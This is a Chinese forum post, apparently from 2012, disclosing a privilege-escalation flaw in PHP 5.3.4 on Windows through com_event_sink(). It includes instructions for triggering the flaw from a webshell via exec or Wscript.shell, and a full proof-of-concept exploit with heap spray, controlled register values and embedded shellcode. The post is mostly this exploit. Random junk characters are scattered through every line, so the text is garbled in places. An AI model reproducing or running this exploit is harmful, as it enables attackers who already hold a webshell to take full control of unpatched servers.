找回密码
 立即注册
查看: 2734|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
+ [- a- l" F7 q' x6 k5 `+ h+ j$ |' r( f" L" p4 S* W
测试方法如下:cmd /c x:\php\php.exe x:\test.php% I0 r/ q7 n; x; H- s) I% ^% q8 T

: x  i$ H1 t  Q" ~下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
3 c5 I5 @8 i+ A3 Y3 u这里是两个测试的截图:
7 r* u, l1 E. L/ T& R! M
7 G8 x* i) f5 A6 c
6 E4 o- Z$ ^& x( `5 E- z
! J+ P$ H6 e- H7 p  b' F
2 g; E! @4 z$ I1 z8 ~
) q& ?  o( c+ x# ^, J) e- n# ?成功利用此漏洞的攻击者将获得系统的最高权限3 j: @. S. r9 H8 Y$ w2 `$ q

$ v+ l! g" P% {  x) |; [! T
$ Y5 C/ u9 s8 h- n2 N& [/ O: L% L) e8 s; A/ P% y

: |# T4 s8 W* b& R$ y6 @6 F/ q3 g- v* C( s% Q3 `9 B* _5 V3 k1 K
关于漏洞分析稍后附上。一下是PoC代码:
$ n3 S% W: b! e/ n% v6 x7 _" x+ c+ m4 [" a+ ^% A0 R
<?php7 S8 ]5 D/ C* n! b/ z: b8 y: a
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞- Z( P  Z+ I4 D6 a' e1 _
//$eip ="\x44\x43\x42\x41";3 R  A, Z9 `( u! w% J
$eip= "\x4b\xe8\x57\x78";9 S0 k$ k$ o- X
$eax ="\x80\x01\x8d\x04";
  z& |0 u/ A& w7 r$deodrant="";: U: A4 u2 \* g0 J
$axespray = str_repeat($eip.$eax,0x80);$ ]- _' b. a# k7 R# M2 @* E
//048d0190
  ^6 y0 e5 j+ q- \4 vecho strlen($axespray);# }9 {, i' i2 U) o8 ^7 d
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
' B4 C) @9 q2 K4 f1 U( necho "Silic Group Hacker Army - BlackBap.Org";
) h$ }' C/ c  y5 ]2 ]9 B//19200 ==4B32 4b00
, h5 S" N  Q7 ?9 S& xfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}) Z# |, X. A* c: b. ?9 u5 J* |
$terminate = "T";8 A1 W3 \0 ?" j/ N
$u[] =$deodrant;% A- [8 d/ C7 t* e, N2 @, q
$r[] =$deodrant.$terminate;5 B# r* R, C: U- K) f
$a[] =$deodrant.$terminate;
1 D) s' Q  E  j. J! X' @- k9 d$s[] =$deodrant.$terminate;; D. T+ _' E0 M- H
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的8 _+ M/ L5 W0 {( Q( h8 P% E0 e* y# W
$vVar = new VARIANT(0x048d0000+180);. t- N0 k6 o4 q" B6 ?
//弹窗代码(Shellcode)1 A' V3 B. E1 L( E
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";
0 e. t9 ?9 ~1 q/ _$var2 = new VARIANT(0x41414242);' c' j( J0 l& g) l- }
com_event_sink($vVar,$var2,$buffer);5 }! @, Y1 ?  a# S7 s/ \  V( Q( r$ e
?>
" t4 N0 r+ \3 p/ R! h

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表